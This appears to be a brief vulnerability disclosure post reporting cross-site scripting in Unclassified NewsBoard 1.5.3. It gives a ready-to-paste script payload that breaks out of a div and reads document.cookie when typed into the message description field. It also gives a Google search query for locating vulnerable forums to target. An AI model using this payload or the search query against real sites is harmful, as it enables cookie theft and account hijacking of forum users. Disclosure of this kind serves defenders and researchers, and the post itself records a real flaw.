UNB 1.5.3 cross site scripting

software: http://newsboard.unclassified.de/

when you post a message try this in description field:
</div><script>alert(document.cookie)</script>

googledork: "Unclassified NewsBoard" inurl:forum.php

rgod
site: http://rgod.altervista.org
mail: retrogod (at) aliceposta (dot) it [email concealed]

[ reply ]